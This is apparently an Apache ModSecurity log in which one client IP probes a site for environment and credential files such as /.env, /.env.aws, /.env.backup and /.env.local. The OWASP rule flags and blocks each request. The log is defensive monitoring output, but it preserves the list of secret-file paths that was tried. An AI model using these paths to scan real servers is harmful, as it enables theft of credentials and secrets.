[Tue Oct 27 11:34:02.569352 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auDEatmgjCRRylsqPBT1_QAAACo"]
[Tue Oct 27 11:34:02.569355 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auDEat6XOKPJcVnECbx2pQAAABY"]
[Tue Oct 27 11:34:02.569492 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auDEatmgjCRRylsqPBT1_QAAACo"]
[Tue Oct 27 11:34:02.569504 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auDEat6XOKPJcVnECbx2pQAAABY"]
[Tue Oct 27 11:34:02.569693 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auDEatmgjCRRylsqPBT1_QAAACo"]
[Tue Oct 27 11:34:02.569763 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auDEat6XOKPJcVnECbx2pQAAABY"]
[Tue Oct 27 11:34:02.570630 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auDEagY08XOpcUzVxFxUrwAAABM"]
[Tue Oct 27 11:34:02.570875 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auDEagY08XOpcUzVxFxUrwAAABM"]
[Tue Oct 27 11:34:02.571078 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auDEagY08XOpcUzVxFxUrwAAABM"]
[Tue Oct 27 11:34:02.572740 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.53.184.30:59716] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auDEaloIklFaGsOHQ-PJKgAAAAw"]
[Tue Oct 27 11:34:02.572960 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.53.184.30:59716] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auDEaloIklFaGsOHQ-PJKgAAAAw"]
[Tue Oct 27 11:34:02.573205 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.53.184.30:59716] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auDEaloIklFaGsOHQ-PJKgAAAAw"]
[Tue Oct 27 11:34:02.573698 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auDEaq-hHEA5KuUIXOZFBAAAAB8"]
[Tue Oct 27 11:34:02.573838 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auDEaq-hHEA5KuUIXOZFBAAAAB8"]
[Tue Oct 27 11:34:02.574072 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auDEaq-hHEA5KuUIXOZFBAAAAB8"]
[Tue Oct 27 11:34:02.575989 2026] [security2:error] [pid 3257226:tid 3257226] [client 34.53.184.30:59768] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auDEanGERCR4kETtK7LctAAAABg"]
[Tue Oct 27 11:34:02.576154 2026] [security2:error] [pid 3257226:tid 3257226] [client 34.53.184.30:59768] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auDEanGERCR4kETtK7LctAAAABg"]
[Tue Oct 27 11:34:02.576337 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auDEag23RZndSc31yX5txwAAABQ"]
[Tue Oct 27 11:34:02.576400 2026] [security2:error] [pid 3257226:tid 3257226] [client 34.53.184.30:59768] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auDEanGERCR4kETtK7LctAAAABg"]
[Tue Oct 27 11:34:02.576478 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auDEag23RZndSc31yX5txwAAABQ"]
[Tue Oct 27 11:34:02.576689 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auDEag23RZndSc31yX5txwAAABQ"]
[Tue Oct 27 11:34:02.644473 2026] [security2:error] [pid 3245436:tid 3245436] [client 34.53.184.30:59700] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auDEakT-nkC2k8zcLn8WCAAAAAE"]
[Tue Oct 27 11:34:02.644498 2026] [security2:error] [pid 3256853:tid 3256853] [client 34.53.184.30:59676] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auDEalTmXkizvR8k42UIrAAAABU"]
[Tue Oct 27 11:34:02.644693 2026] [security2:error] [pid 3245436:tid 3245436] [client 34.53.184.30:59700] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auDEakT-nkC2k8zcLn8WCAAAAAE"]
[Tue Oct 27 11:34:02.644693 2026] [security2:error] [pid 3256853:tid 3256853] [client 34.53.184.30:59676] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auDEalTmXkizvR8k42UIrAAAABU"]
[Tue Oct 27 11:34:02.644978 2026] [security2:error] [pid 3256853:tid 3256853] [client 34.53.184.30:59676] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auDEalTmXkizvR8k42UIrAAAABU"]
[Tue Oct 27 11:34:02.644980 2026] [security2:error] [pid 3245436:tid 3245436] [client 34.53.184.30:59700] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auDEakT-nkC2k8zcLn8WCAAAAAE"]
[Tue Oct 27 11:34:02.645939 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auDEat6XOKPJcVnECbx2pgAAABY"]
[Tue Oct 27 11:34:02.646032 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auDEatmgjCRRylsqPBT1_gAAACo"]
[Tue Oct 27 11:34:02.646070 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auDEat6XOKPJcVnECbx2pgAAABY"]
[Tue Oct 27 11:34:02.646185 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auDEatmgjCRRylsqPBT1_gAAACo"]
[Tue Oct 27 11:34:02.646341 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auDEat6XOKPJcVnECbx2pgAAABY"]
[Tue Oct 27 11:34:02.646459 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auDEatmgjCRRylsqPBT1_gAAACo"]
[Tue Oct 27 11:34:02.647358 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auDEagY08XOpcUzVxFxUsAAAABM"]
[Tue Oct 27 11:34:02.647485 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auDEagY08XOpcUzVxFxUsAAAABM"]
[Tue Oct 27 11:34:02.647692 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auDEagY08XOpcUzVxFxUsAAAABM"]
[Tue Oct 27 11:34:02.648660 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.53.184.30:59716] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auDEaloIklFaGsOHQ-PJKwAAAAw"]
[Tue Oct 27 11:34:02.648786 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.53.184.30:59716] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auDEaloIklFaGsOHQ-PJKwAAAAw"]
[Tue Oct 27 11:34:02.648987 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.53.184.30:59716] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auDEaloIklFaGsOHQ-PJKwAAAAw"]
